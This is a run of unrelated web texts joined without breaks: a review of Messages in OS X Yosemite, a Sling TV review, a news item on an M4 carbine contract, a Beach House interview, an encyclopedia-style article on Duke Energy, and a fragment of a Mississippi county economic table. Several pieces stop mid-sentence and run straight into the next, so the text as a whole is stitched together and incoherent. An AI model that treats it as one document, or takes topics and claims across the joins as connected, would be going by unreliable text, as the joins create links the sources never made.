Soundbites don't replace Voice over IP, Skype or any other streaming audio technology; they're just supplemental files that can be sent between iMessage accounts, either to Mac or iOS device users. Soundbites are trivial to use: Just click the microphone button, record your message and it will be sent. You can either keep the message (by clicking on a "Keep" button) or let it expire after a couple of minutes, so your chat log doesn't fill up with audio files. No need (and no way to) customize the audio; the Mac takes care of all that for you, and sends it to the recipient. The soundbites themselves are sent encoded as.amr files. Adaptive Multi Rate is an audio compression format optimized for speech recording; it's not high fidelity, but it gets the job done and it's compact. You've long been able to include audio files on your iMessages, but it's relied on having an external app to record the audio, which you then have to save as a separate file and then click and drag into the iMessage to send. Soundbites simplifies the process down to a couple of clicks, making it infinitely easier for everyone to use. iMessage and SMS/MMS OS X's Messages apps is a handy tool if you're trying to communicate with other iMessage users on Macs and OS X, or if your messaging takes place on one of the other services that the Messages app supports (like Google Talk, Jabber, Yahoo or AOL Instant Message). Where Messages on OS X has failed, however, is to keep us in touch with the many people who rely on their non-iOS mobile devices as an instant messaging tool. Short Message Service (SMS) and Multimedia Message Service (MMS) reign supreme on those devices. Since that messaging is managed through the wireless carrier, Messages on OS X hasn't been useful to stay in touch with the people Craig Federighi cheekily called "our green bubble friends" at WWDC 2014. That changes with Yosemite thanks to Apple's Handoff technology, which blurs the line between the Mac and iOS devices. With Yosemite on the Mac and iOS 8.1 installed on your iPhone, you can see SMS and MMS messages you're getting from non-iPhone using colleagues, and what's more, you can send them too. Both the Mac and the iPhone need to be on within physical proximity to each other, and both must be signed in using the same Apple ID. But once they are, new messages you get on your phone will now show up on your Mac as well, even if the person isn't an iMessage user. Group messaging Group messaging gets some big improvements in Yosemite — it's now much easier to manage them, thanks to the inclusion of a new "Details" button in the upper right hand corner of the chat window.
Now it's possible to give your chat a title, helping to (hopefully) direct participants to stay somewhat on topic, so chats don't veer off wildly into unexpected territory. What's more, you can mute notifications for the chat, so if you're carrying on a group conversation but don't want to be distracted temporarily (say you're in a meeting or on a call), you can silence the chat and pick up later when you're ready. You can add new participants as you go along, and what's more, you can even remove yourself from the chat entirely, if you're done. The Details control panel also gives you other handy tools — like using Find My iPhone, if it's turned on, so you can see the location of the people you're chatting with. Participants can share their screens with one another. You can review images and files that have been transfered in chat. And that's also where you can mute notifications if you don't want to be bothered for a bit. Apple's taken a mostly iterative approach to Messages in Yosemite, making key improvements to help reduce user discomfort with features like improved group messaging and soundbites. One feature stands out above the rest, though, and that's Handoff. Handoff blurs the line between Mac and iOS device, making it possible for you to use both devices together in elegant, intuitive ways that you can't do alone. With the ability to make and take phone calls now present as well, the iPhone just may be the killer app to help improve productivity on the Mac.
Photos (Next year) Photos for Mac will arrive sometime early next year. However, it's important for people using iPhoto and Aperture to understand what's happening. First and foremost, both iPhoto and Aperture will continue to work on Yosemite for the foreseeable future. Both will still be available in the Mac App Store. Existing iPhoto and Aperture libraries will all still open, and existing iPhoto and Aperture tools will continue to function. Next year, after the new Photos app for Mac is released, Apple will remove iPhoto and Aperture from the Mac App Store. You'll still be able to keep and run your old copies, but Apple will no longer be updating or improving them. And, at some point in the future, they'll be outdated enough you'll want to move on. When Photos ships, you'll be able to migrate your existing Aperture library to the new Photos app for Mac. When you migrate, all your albums, folders, keywords, and captions will move from Aperture to Photos. All the non-destructive edits you've applied to your Aperture photos will be preserved in Photos, and preserved non-destructively. Likewise, if you use iPhoto, you'll be able |
big deal, in my view. One of the main appeals of any skinny bundle is its ability to replicate the perks of live cable TV. Big on-demand libraries and functional cloud DVRs are good, but I came here to channel surf, baby, and I'm very happy that Sling TV understands that. When live TV is on, the tap of a button brings up a sliding menu of channels that makes it easy to jump to a new channel. You'll also see a menu of other programs airing on the channel you're currently viewing.
The content discovery features you'd expect are here, as is is a straightforward favorites system – that's all standard skinny bundle fare at this point, and that stuff shows up here and does its job. More impressive is the cloud DVR, which isn't as standard yet. Sling TV's version costs $5 a month, but at least it exists on (nearly) every platform. Only PlayStation Vue's DVR is as widely available and fully functional as Sling TV's (PlayStation Vue does have one edge here, though: its cloud DVR is free).
For the most part, Sling TV is simple and fun to use. But there are some weird bits about it, and they exist thanks to the sometimes confusing relationships between Sling TV's two different base packages and their various Extras. We'll be talking about this a lot in the coming sections, so get used to it.
See, Sling TV's big idea is that it allows you to customize your skinny bundle. You have to start with a base package, but the two base packages Sling TV offers are pretty cheap, and once you have one you can add on “Extras,” which are small bundles of like-minded channels available on the cheap. The idea is that you are better able to avoid paying for channels you don't want, and that you have more cost-effective paths to niche channels that would otherwise be trapped in enormous and pricey high-tier bundles – as is the case with those channels on some of Sling TV's competitors.
Clever, right? But the problem is that Sling TV has cut some weird content deals that make its two base packages different in ways that affect the whole service.
One of the clearest examples, and the one most relevant to this section of our Sling TV review, has to do with limits on simultaneous streaming. Sling Orange, which features Disney properties like ESPN and lacks Fox properties like FX and FS1, allows users one stream. Sling Blue, on the other hand, allows three simultaneous streams. You can get both together at a discount, but this won't change the streaming rules: though Sling tries to brand this combo as “Sling Orange + Blue,” you're still subscribing to Sling Orange and Sling Blue separately. If you're signed up for both, you can still stream a Sling Orange channel on only one device, and a Sling Blue channel on up to three. You can do this at the same time, if you want, for four simultaneous streams, but you must always be allocating your streams properly. You can't stream ESPN more than once, for instance, even if you're not using all of your “four” streams – it's on Sling Orange, and one is the limit.
It gets weirder: since Sling Orange and Blue overlap, you actually have access to channels certain channels twice: once as a Sling Orange subscriber (limit: one stream) and once as a Sling Blue subscriber (limit: three streams). When you sign up, Sling TV gives you the option to streamline things by displaying only the Sling Blue versions of these extra channels. But if you want to see both versions, you can! Weird stuff.
One more thing about the base packages that affects the user experience: channels are also sorted by bundle in the app. It's not a huge deal, but it means that ESPN and FS1, for instance, are not near each other in the channel selection menu despite being similar in focus.
The differences between base packages also affect how the Extras work, which we'll cover more in the Content section of this Sling TV review.
Content
Sling TV still has great network television channels streaming live. But plenty of different services can say that now, so let's take a close look at what Sling TV is really offering.
Most of usual suspects are here: AMC, ESPN, TBS, and so on are all hanging out with us. The selection is strong, and it's especially impressive to see the Viacom-owned channels like Comedy Central, which are often missing from skinny bundles. Competitors like fuboTV, Hulu with Live TV, PlayStation Vue, and YouTube TV are among the skinny bundles that currently give you no way to get these channels. Their presence is a big advantage for Sling TV. As of this writing, the only true competitor that can match Sling TV in Viacom channels is DIRECTV NOW.
But there's also some bad news. Most skinny bundles have all four major networks in their base packages (in select markets) these days, but Sling TV does not. Fox and NBC are available together at the $40 price point, but ABC is relegated to an add-on, and CBS is MIA.
There is a major bit of weirdness to address here, too: the screenshot above shows the channels available in “Sling Orange + Sling Blue,” which is the Sling TV deal most comparable to the smallest bundles available through competitors. But “Sling Orange + Sling Blue” is not Sling TV's smallest bundle – and, actually, it's not really a bundle at all. It's two bundles: Sling Orange and Sling Blue, which overlap but each have some exclusives.
And the two bundles have different rules governing simultaneous streams, which we discussed in the User Experience section of this Sling TV review. Bundling them also has price implications, as we will cover later in the Price section. And, finally, they have consequences for Sling TV's Extras – and that's something we will discuss right here in this section.
One of the best things about Sling TV is its Extras, which are small add-on bundles of channels grouped by genre. These make it easy and affordable (more on this in the Price section) to build out a custom skinny bundle. Want sports coverage? Start with Sling Orange (ESPN) and/or Sling Blue (FS1) and then add “Sports Extra” for in-depth coverage. You won't need to add channels of other types – once you're beyond the base package, you can choose to go with nothing but sports channels in your Extras.
That really opens up the content selection, particularly when you consider the cost: a hyper-specific channel might be available through both Sling TV and its competitors, but Sling TV's more à la carte methods could make it a much cheaper option for accessing that channel.
But you have to be careful: the weird web of content deals that Sling TV has made mean that an add-on may have different channels available depending on whether you're building on Sling Orange or Sling Blue (you can dodge this nonsense by signing up for both, ensuring that you have whatever prerequisite channels you need).
Not all Extras have this issue, though, and there are a lot of great Extras to look at. You can also tack on premium channels like HBO individually.
Overall, Sling TV has fantastic content, and they make it very affordable to get the content you want. The only downside is the somewhat confusing relationships between the different base packages and add-ons.
Streaming Quality
Looking back at our original Sling TV review, we found that our streaming quality section was the one most in need of an update. Back then, we noted some pretty serious problems with Sling TV's streaming quality – but we also were quick to forgive the service for its sins, because we understood that they were doing something brand new and immensely difficult. At the time of our original Sling TV review, the streaming world was excited about the possibilities that services like Sling TV represented – growing pains were expected, and early adopters tend to be patient about such things.
Revisiting things this new Sling TV review, we're arriving with a very different perspective. This is a more mature space now, and competitors have shown that live TV streaming can be smooth and beautiful. Has Sling TV improved, too?
It has, thankfully. I found Sling TV to be fairly strong in streaming these days – it's roughly on par with other elite services, like PlayStation Vue. In practice, this means that I had very few issues streaming Sling TV on Wi-Fi and virtually no issues when using a beefier streaming device and a wired connection. Stoppages were rare and short, and for the most part I got uninterrupted HD streaming. It was very watchable and not at all frustrating.
Platforms
Sling TV has had plenty of time to roll out apps for the major streaming services, and its current platform support doesn't disappoint. Sling TV has apps that work for an with all of the major streaming services: you can watch it on Roku, Fire TV, Apple TV, Chromecast, or Android TV. Other supported platforms include LG and Samsung smart TVs.
You can watch Sling TV on the go with its mobile apps, which work on iOS and Android. The service also has an app for you desktop or laptop computer: Windows users can download a desktop app, while users of other operating systems may still be able to watch using the web app, which works for Google's Chrome browser. I wish it worked on more browsers, but that's more Chrome's fault than Sling TV's – like Internet Explorer before it, Chrome has begun to use its popularity to boss around web designers and ignore industry standards, which means that it's harder and harder to design web apps that work the same on both Chrome and other browsers.
Overall, this is very impressive platform support. I tested Sling TV primarily on iOS and Roku.
Price
As we touched on briefly earlier, one of Sling TV's most distinctive features is its pricing system.
Most skinny bundles are priced in a pretty basic way. They offer a skinny bundle with around 50, 60 channels or so at a cost that's somewhere around $40 per month. Some also offer larger bundles for higher prices, up to around $70. And then they usually offer a very limited slate of add-ons: maybe a sports mini-bundle for an extra $10 or $15, and then, typically, individual premium channels at their usual prices.
With Sling TV, though, add-ons are the main idea. The base packages matter, but the appeal of Sling TV's pricing structure is that you can choose from a big menu of add-on bundles (Sling TV calls them “Extras”) and, by picking and choosing only the categories you want, get a cost-effective bundle that is tailored to your tastes.
Sling Orange ($20 per month) and Sling Blue ($25 per month) are cheaper than most entry-level bundles from competitor services, but they're also smaller and each missing some very key channels. Getting both together for the discounted rate of $40 per month makes Sling TV's pricing look very typical – but then the Extras come into play, which can change the game for viewers who want certain channels.
Fans of niche channels may find Sling TV to be an absolutely steal. For example, let's say you're a big fan of classic cartoons. The Boomerang channel is perfect for you, but it's not the most popular channel out there. In tiered pricing systems, you really have to climb the ladder to get Boomerang: PlayStation Vue subscribers have to pay at least $54.99 per month to unlock it, and DIRECTV NOW fans have to pay $70 per month. With Sling TV, though, you can just add Kids Extra for an extra $5 per month. It's available for Sling Orange, so you can get a bundle that includes Boomerang for as little as $25 per month total – half of what Vue would charge and a third of what DIRECTV NOW would.
In short, Sling TV charges a fair price for Sling Orange and Sling Blue. If you can live with just Sling Orange or just Sling Blue, Sling TV is more appealing. And if you have particular tastes that make its add-on system work for you, Sling TV will become the clear choice.Colt Defense and FN America have been awarded a joint long-term contract to supply the U.S. military with new M4 and M4A1 carbines with an estimated completion date late September 2020. The contract is worth $212 million.
It’s a firm-fixed-price contract between Colt, FN and the Army Contracting Command at the Picatinny Arsenal. The contract comes at a great time for Colt, which recently filed for Chapter 11 bankruptcy protection to resolve its roughly $250 million of debt.
Details about the bids are limited. The most recent M4 contract, awarded to FN exclusively in 2013, was for $77 million with an order for 120,000 rifles. These guns are to replace aging and used rifles that have seen a lot of use.
This doesn’t mark the end of all of Colt’s financial problems. The contract won’t necessarily be split evenly between the two manufacturers, and it’s up to the military to decide which company receives which orders and for how much.
FN is a major supplier of small arms to the military and in addition to this carbine contract and the previous one, the company also recently landed an $84 million contract to supply the Army with M240 machine guns.
This also means that the M4 platform isn’t going anywhere for the foreseeable future. While the the military has considered replacing the M4 design with something newer, attempts to phase out the M4 have been halted in favor of improving on the existing pattern through the Product Improvement Program and M4A1-Plus program.
The Product Improvement Program converts existing M4 carbines to M4A1 carbines with improved fire control groups with full-auto triggers instead of burst fire and heavy barrels that can shoot longer strings of fire accurately. The M4A1-Plus program is seeking out other upgrades including those developed for the consumer market that could make the M4 and those that carry it more effective for the years to come.Sat in a quiet corner of an east London pub, Beach House’s Victoria Legrand is talking about the genesis of the songs on new album ‘Depression Cherry’. Suddenly Sigur Rós come blaring through the speakers. It takes Alex, the other half of Beach House, by surprise. “That was just so intense. It’s hijacking my mood. I feel like we’re in this moment in an epic movie,” he lifts his arms up dramatically. “And it’s like ‘When the song was born’ and there’s a baby coming out, with light shining through the window.” Victoria looks at him and laughs, “I’m glad we had that moment together.” The idea of moments is something that both keep referring to during the course of the interview. Not big, dramatic moments, but natural, smaller, serendipitous moments of clarity which guide their music. Just take the title of the new album. “It was a phrase that had come to me – these two words just worked next to other immediately,” Victoria explains. “It was a crazy moment.” “You’re a word creator,” says Alex. “It’s like they come to you from outer space or something. We fell in love with it straight away and the when we looked it up online they’d never appeared next to each.” “We were like this must be happening for a reason. Why have they not been next to each other? And why did I just say that? I feel like in literally saying depression cherry it just makes sense and it is also completely… many things. It’s visual. It’s unusual. As a phrase it just kept coming back towards the record.” “We kept trying other titles but nothing represented the feeling of the record anywhere near as well as this does. And now, for me, there is no better title,” says Alex.
It’s been three years since their last album ‘Bloom’ and something in the beating heart and beautiful simplicity of ‘Depression Cherry’ suggests a brand feeling fresher and re-invigorated. This can partly be explained by the 6-month break they took after touring that last album. “I think it was the first breath we’d taken since Beach House started,” says Alex. Victoria nods: “I just personally felt I needed a couple of months of just not doing anything, I didn’t have thoughts. And I think in this day and age that’s very rare because there’s so much information and to have that period when you have no input or output is really important.” The chance to take stock of where they were heading saw them reacting to what came before with ‘Bloom’, an album which in retrospect that didn’t come as naturally to them. “I think the biggest thing, from a technical standpoint, is that by the end of ‘Bloom’ tour we started to feel so aggravated and limited by the presence of a drum set – just the noise it creates and how much space it fills.” “Something we’ve always had is to be able to just write together, just the two of us, and we experimented with that on ‘Bloom’,” explains Victoria.
“To a manager growth might mean bigger venues. If you keep playing bigger rooms that might make your music more anthemic but is that what you want? It’s not that we’re taking a moral standpoint it’s just what’s important to us.” Victoria Legrand
“And it wasn’t as enjoyable. When we played the ‘Bloom’ songs on the road… There was a transparent feeling, they didn’t feel as nuanced.” Alex pauses. “I don’t know… anything I say is going to sound stupid.” Victoria steps in: “I just think those songs are what they were – we followed an arrow and they happened for a reason and we can never regret that reason. We wouldn’t have ‘Depression Cherry’ if we didn’t go as far as we did with certain things on ‘Bloom’.” “I should mention this is what we do with every record. With Devotion we were reacting to that first record because we were sick of certain things. We always react to what came before,” Alex points out. “But it’s a given, it’s just the most natural thing,” adds Victoria. “You don’t need to over-intellectualise it. It’s just ‘I hit that rock and I went that direction’. ‘I was in the river and I flowed this way and I tried to get away from that.’” And so we return to the idea of the journey. The natural moments. The way of things. We start talking about the process of the album. It was the song 1037, which in some ways can be seen as the centre point of the album (and not just because it sits right in the middle) that they finished recording first. “I think it definitely helped inform the energy of the whole record – very minimal,” Alex says. “… But open and very natural,” continues Victoria. “That song has got that kernel of incredible space and just a very natural feeling and we just really followed it, I swear. And that vibe informed the whole thing.” “We have a respectful, awestruck relationship with how an idea comes about – it’s one of the most beautiful moments when something flies out of nowhere. Then you harness it and you have to harness it with force but love, and it sounds cheesy, but it’s like anything wild that you want to chase, you have to be respectful of it.”
“You thought when you were stoned at college that was as deep as it was ever going to get but it keeps on getting deeper.” Alex Scally
This might seem over the top but it’s nice to see a band which such belief in the creative process – and the cosmic kismet that comes with it. There’s certainly that feeling in the relationship that the two share and their ability to grab inspiration from the ether. And what goes hand in hand with that is a rejection of everything that isn’t connected to the creative process – the press release talks about ‘ignoring the commercial context in which we exist’. “With bands now there’s so much stuff to think about, not to do with artistic creation at all, just to do with various things like social media presence, and a lot of bands, for better or for worse, are confronted with the idea of ‘What’s your single going to be?’ And all of those things are terrible for creativity.” “And that was what part of the 6 month break was about – just to be creative and not think of the future, not going online to participate. Whatever happens would happen and we didn’t want to think of anything except what’s pushing you creatively.” “I think for every artists there’s one word that everyone has the right to decide and that word is growth,” explains Victoria. “And when the artist has an idea of growth and when a person who’s not on the artistic side has an idea of growth there has to be some middle ground and that’s the most difficult thing in this day and age. That balance is extremely fragile.” “To a manager growth might mean bigger venues. If you keep playing bigger rooms that might make your music more anthemic but is that what you want? It’s not that we’re taking a moral standpoint it’s just what’s important to us.” This desire to keep things intimate is one of the reasons they’re playing Shepherd’s Bush when they could have played somewhere bigger. “We wish we could be playing somewhere even smaller,” says Alex. “We got asked to play Brixton but didn’t want to do that at all. It’s not a conceited thing – it’s 5,000 people, that’s just crazy. Maybe when we make our electro dance odyssey!” So, with all this talk of growth do they still feel like the same band as when they began? Alex laughs, “Totally. I mean as people we’ve grown - it’s got heavier and deeper every year – that’s the amazing thing about getting older. You thought when you were stoned at college that was as deep as it was ever going to get but it keeps on getting deeper.” “I think if we lost the passion to sit down and make music together then we’ll just stop but it hasn’t happened yet. We were giving it the time after ‘Bloom’ to disappear if it wanted to. The last thing we ever want to do is just keep going just because we can.” says Alex. “It could have happened but it didn’t,” agrees Victoria. “We were like ‘If it’s over give us a sign.’ Let’s not push it.”
Taken from the August issue of DIY, out now. Beach House’s new album ‘Depression Cherry’ will be released on 28th August via Bella Union / Sub Pop.Duke Energy Corporation headquartered in Charlotte, North Carolina, is an electric power holding company in the United States, with assets also in Canada and Latin America.
Overview [ edit ]
Based in Charlotte, North Carolina, Duke Energy owns 58,200 megawatts of base-load and peak generation in the United States, which it distributes to its 7.2 million customers. The company has approximately 29,000 employees.[2] Duke Energy's service territory covers 104,000 square miles (270,000 km2) with 250,200 miles (402,700 km) of distribution lines.[3] In addition, Duke Energy has more than 4,300 megawatts of electric generation in Latin America.[4] It operates eight hydroelectric power plants in Brazil with an installed capacity of 2,307 megawatts.[5] Almost all of Duke Energy's Midwest generation comes from coal, natural gas, or oil, while half of its Carolinas generation comes from its nuclear power plants. During 2006, Duke Energy generated 148,798,332 megawatt-hours of electrical energy.
Duke Energy Renewable Services (DERS), a subsidiary of Duke Energy, specializes in the development, ownership, and operation of various generation facilities throughout the United States. This segment of the company operates 1,700 megawatts of generation. 240 megawatts of wind generation were under construction and 1,500 additional megawatts of wind generation were in planning stages.[6] On September 9, 2008, DERS updated its projections for future wind power capacity. By the end of 2008, it would have over 500 MW of nameplate capacity of wind power online, and an additional 5,000 MW in development.[7]
Subsidiaries [ edit ]
Duke Energy Carolinas
Duke Energy Ohio (formerly Cincinnati Gas & Electric Company, via Cinergy)
Duke Energy Kentucky (formerly Union Light, Heat & Power, via Cinergy)
Duke Energy Indiana (formerly Public Service Indiana, via Cinergy)
Duke Energy Florida (formerly Florida Power Company, via Progress Energy)
Duke Energy Progress (formerly Carolina Power and Light, via Progress Energy)
Duke Energy Renewables
Duke Energy Retail
Duke Energy International
History [ edit ]
The company began in 1900 as the Catawba Power Company when Dr. Walker Gill Wylie and his brother financed the building of a hydroelectric power station at India Hook Shoals along the Catawba River near India Hook, South Carolina. In need of additional funding to further his ambitious plan for construction of a series of hydroelectric power plants, Wylie convinced James Buchanan Duke to invest in the Southern Power Company, founded in 1905.
In 1917 the Wateree Power Company was formed as a holding company for several utilities that had been founded and/or owned by Duke, his family, or his associates, and in 1924 the name was changed to Duke Power. In 1927, most of the subsidiary companies, including Southern Power Company, Catawba Power Company, Great Falls Power Company, and Western Carolina Power Company were merged into Duke Power, although Southern Public Utilities, 100% owned by Duke Power, maintained a legally separate existence for the retail marketing of Duke-generated power to residential and commercial customers.[8]
A 1973 labor dispute between mine workers and Duke Power was the subject of the documentary Harlan County, USA. The film documents the use of "gun thugs" to intimidate striking workers.
In 1988, Nantahala Power & Light Co., which served southwestern North Carolina, was purchased by Duke and is now operated under the Duke Power Nantahala Area brand. Duke Power merged with PanEnergy, a natural gas company, in 1997 to form Duke Energy.[9] The Duke Power name continued as the electric utility business of Duke Energy until the Cinergy merger.
Duke Energy Field Services near Palestine, Texas. The facilities include refineries and oil wells throughout the region.
With the purchase of Cinergy Corporation announced in 2005 and completed on April 3, 2006, Duke Energy Corporation's customer base grew to include the Midwestern United States as well. The company operates nuclear power plants, coal-fired plants, conventional hydroelectric plants, natural-gas turbines to handle peak demand, and pumped hydro storage. During 2006, Duke Energy also acquired Chatham, Ontario-based Union Gas, which is regulated under the Ontario Energy Board Act (1998).
On January 3, 2007, Duke Energy spun off its gas business to form Spectra Energy. Duke Energy shareholders received 1 share of Spectra Energy for each 2 shares of Duke Energy. After the spin-off, Duke Energy now receives the majority of its revenue from its electric operations in portions of North Carolina, South Carolina, Kentucky, Ohio, and Indiana. The spinoff to Spectra also included Union Gas, which Duke Energy acquired the previous year.[citation needed]
In 2011, Duke Energy worked with Charlotte’s business leader community to help build Charlotte into a smart city. The group called the initiative “Envision Charlotte.” At the time, the group decided on a goal to reduce energy use in the “urban core of the city by 20 percent.” To do so, the group focused on making energy consumption changes to commercial buildings larger than 10,000 square feet.[10]
On July 3, 2012, Duke Energy merged with Progress Energy Inc with the Duke Energy name being retained along with the Charlotte, North Carolina, headquarters.[11][12]
Duke announced on June 18, 2013 that CEO Jim Rogers was retiring and Lynn Good would become the new CEO. Rogers has been CEO and Chairman since 2006, while Good was Chief Financial Officer of Duke since 2009, having joined Duke in the 2006 Cinergy merger. Rogers' retirement was part of an agreement to end an investigation into Duke's Progress Energy acquisition in 2012.[13]
The company expects to spend $13 billion upgrading the North Carolina grid from 2017.[14]
New nuclear power plant [ edit ]
On March 16, 2006, Duke Power announced that a Cherokee County, South Carolina site had been selected for a potential new nuclear power plant. The site is jointly owned by Duke Power and Southern Company. Duke plans to develop the site for two Westinghouse Electric Company AP1000 (advanced passive) pressurized water reactors. Each reactor is capable of producing approximately 1,117 megawatts. (See Nuclear Power 2010 Program.)
On December 14, 2007, Duke Power submitted a Combined Construction and Operating License to the Nuclear Regulatory Commission, with an announcement that it will spend $160 million in 2008 on the plant with a total cost of $5 billion to $6 billion.[15] The plant was approved in 2016.[16]
In August 2017, Duke decided to seek permission from the North Carolina Utility Commission to cancel the project due to the bankruptcy of Westinghouse and "other market activity", although they will retain the option of restarting the project at some point in the future if circumstances change.[17]
This site would have been adjacent to the old site, which was never completed and abandoned in the early 1980s, and used by James Cameron as a film set for the 1989 movie The Abyss.
In 2018, Duke Energy decided not to include new nuclear power in its long-range plans.[18]
Finances [ edit ]
For the fiscal year 2017, Duke Energy reported earnings of US$3.059 billion, with an annual revenue of US$23.565 billion, an increase of 3.6% over the previous fiscal cycle. Duke Energy's shares traded at over $79 per share, and its market capitalization was valued at over US$58.8 billion in November 2018.[19]
Year Revenue
in mil. USD$ Net income
in mil. USD$ Total Assets
in mil. USD$ Price per Share
in USD$ Employees 2005 6,906 1,812 54,723 25.76 2006 10,607 1,863 68,700 28.80 2007 12,720 1,500 49,686 33.71 2008 13,207 1,362 53,077 31.88 2009 12,731 1,075 57,040 29.26 2010 14,272 1,320 59,090 34.98 2011 14,529 1,706 62,526 41.32 2012 17,912 1,768 113,856 49.27 2013 22,756 2,665 114,779 55.27 27,948 2014 22,509 1,883 120,557 61.54 28,344 2015 22,371 2,816 121,156 64.90 29,188 2016 22,743 2,152 132,761 71.48 28,798 2017 23,565 3,059 137,914 79.68 29,060
Environmental record [ edit ]
In 1999, the United States Environmental Protection Agency commenced an enforcement action against Duke Energy for making modifications to very old and deteriorating coal-burning power plants without getting permits under the Clean Air Act. Duke asserted that a "modification" under the Clean Air Act did not require a permit. Environmental groups asserted that Duke was using loopholes in the law to increase emissions. Initially, Duke prevailed at the trial court level, but in 2006 the case was argued before the Supreme Court (Environmental Defense v. Duke Energy Corp. (05-848)). The Court unanimously ruled on April 2, 2007 that the modifications allowed the power plants to operate for more hours, increasing emissions, so Clean Air Act permits were needed.[20]
In 2002, researchers at the University of Massachusetts Amherst identified Duke Energy as the 46th-largest corporate producer of air pollution in the United States, with roughly 36 million pounds of toxic chemicals released annually into the air.[21] Major pollutants included sulfuric and hydrochloric acid, chromium compounds, and hydrogen fluoride.[22] The Political Economy Research Institute ranks Duke Energy 13th among corporations emitting airborne pollutants in the United States. The ranking is based on the quantity (80 million pounds in 2005) and toxicity of the emissions.[23] This change reflects the purchase of fossil fuel-heavy Cinergy, which occurred in 2005.
In early 2008, Duke Energy announced a plan to build the new, 800-megawatt Cliffside Unit 6 coal plant 55 miles (89 km) west of Charlotte, North Carolina. The plan has been strongly opposed by environmental groups such as Rising Tide North America, Rainforest Action Network, the community-based Canary Coalition as well as the Southern Environmental Law Center, which has threatened to sue Duke if it does not halt construction plans. On April 1, activists locked themselves to machinery at the Cliffside construction area as part of Fossil Fools Day.
Duke Energy has been "one of the most vocal advocates"[citation needed] for a "cap-and-trade" system to combat global CO 2 emissions,[24] "and the company's CEO, Jim Rogers, thinks the company will profit from cap-and-trade".[citation needed] The company left the National Association of Manufacturers in part over differences on climate policy.[24][25]
In a joint venture with the French-based global energy firm AREVA, under the nominal name of ADAGE, Duke Energy has planned a "Green" biomass burning facility in Mason County, Washington and is negotiating with forestland owners to secure the 600,000 tons of wood debris it needs yearly to fuel its $250 million biomass plant. The joint venture between electric power company Duke Energy and global nuclear services giant AREVA was created to build wood waste-to-energy power plants around the country.
ADAGE president Reed Wills announced the first Northwest outpost will be in the struggling timber town of Shelton, Washington.
The following pollutants are provided by DUKE-AREVA-ADAGE in their application for permit to the Department of Environmental Protection for a similar type of plant in Florida.
248 tons per year – particulate matter
288 tons per year – particulate matter 10
233 tons per year – particulate matter 2.5
249 tons per year – NO x (nitrogen oxides)
(nitrogen oxides) 246 tons per year – SO 2 (sulfur dioxide)
(sulfur dioxide) 248 tons per year – CO (carbon monoxide)
40 tons per year – H 2 SO 4 – (sulfuric acid mist)
SO – (sulfuric acid mist) 63 tons per year – VOC (volatile organic compounds)
29 tons per year – F (fluorides)[26]
Generating facilities [ edit ]
This list is partially complete due to the July 3, 2012, merger with Progress Energy.
Biomass fired [ edit ]
Shelton Biomass Facility (proposed)
Nuclear [ edit ]
Hydroelectric [ edit ]
Conventional hydro [ edit ]
Following is a list of Duke Energy's thirty conventional hydroelectric facilities, in order of average electric production.[27] All properties are 100% owned by Duke, and all but Markland are located in North Carolina and South Carolina (Markland is located in southern Indiana).[28]
Pumped-storage hydro [ edit ]
Oil and gas-fired [ edit ]
Anclote Station
Asheville Combustion Turbines
Bartow Combined Cycle Station
Buck Steam Station
Buzzard Roost Station
Cayuga Combustion Turbine Station
Connersville Peaking Station
Dan River Steam Station
Darlington County Electric Plant
Henry County Peaking Station
Hines Energy Complex
Lee Energy Complex
Lincoln Combustion Turbine Station
Madison Peaking Station
Miami-Wabash Peaking Station
Mill Creek Combustion Turbine Station
Noblesville Station
Rockingham Station
Smith Energy Complex
Sutton Combined Cycle Plant
Wabash River Repowering Station
Wheatland Peaking Station
Woodsdale Station
Solar farms [ edit ]
Citing the falling cost of building solar farms, Duke Energy announced plans in 2017 to launch three new such projects in Kentucky. Two will be in Kenton County and one will be in Grant County. Together the three plants will create more than 6.7 MW of power.[29] These join several other solar farms including:
Davidson County Solar Farm
Martins Creek Solar Farm 1 MW (Murphy, NC)
Culberson Solar Farm 1 MW (Murphy, NC)
Osceola Solar Facility 4 MW (St.Petersburg, Fla)[30]
Additionally, Duke Energy added 451 MW of solar capacity to North Carolina’s grid in 2017.[31]
Hamilton Solar Power Plant 74.9 MW (Jasper, FL)
Columbia Solar Power Plant 74.9 MW (Fort White, FL) (opening in 2020)[32]
Wind farms [ edit ]
Electric vehicles [ edit ]
Duke Energy announced in October 2018 that it would install 530 electric car charging stations around Florida. Ten percent of the stations will go into low income communities.[34]
Awards [ edit ]
Duke Energy has been chosen as one of The 50 Best Employers In America by Business Insider[35]
In 2002, Duke Energy was awarded the Ig Nobel Prize in Economics for "adapting the mathematical concept of imaginary numbers for use in the business world".[36]
Criticism [ edit ]
Following a February 2, 2014 coal ash spill which was the third-largest of its kind in US history, the US Attorney's Office opened a grand jury investigation into Duke Energy and North Carolina regulators in the administration of Governor Pat McCrory. McCrory had been an employee of Duke Energy for 28 years and critics have said his administration intervened on Duke's behalf to settle lawsuits over environmental violations.[37] The US Attorney subpoenaed over 20 officials of the McCrory administration and sought records of "investments, cash or other items of value" from Duke to regulators.[38]
On February 14, 2011, Greenpeace launched a campaign in which Phil Radford called on Duke Energy to "not renew a single new contract for mountaintop removal coal, deliver at least |
26.0% Distressed Lee 75,755 6.5% $25,212 13.4% Transitional Lowndes 61,586 7.5% $23,211 21.3% At-Risk Marshall 34,993 8.0% $17,861 21.9% Distressed Monroe 38,014 9.5% $18,602 17.2% At-Risk Montgomery 12,189 9.2% $15,433 24.3% Distressed Noxubee 12,548 12.6% $12,690 32.8% Distressed Oktibbeha 42,902 6.4% $22,010 28.2% At-Risk Panola 34,274 8.2% $16,610 25.3% Distressed Pontotoc 26,726 6.9% $18,813 13.8% Transitional Prentiss 25,556 7.8% $14,693 16.5% At-Risk Tippah 20,826 8.1% $15,886 16.9% At-Risk Tishomingo 19,163 8.2% $14,190 14.1% At-Risk Union 25,362 6.5% $18,778 12.6% Transitional Webster 10,294 8.6% $12,983 18.7% Distressed Winston 20,160 7.2% $17,094 23.7% Distressed Yalobusha 13,051 8.2% $15,125 21.8% Distressed
County Population Unemployment Rate Market Income
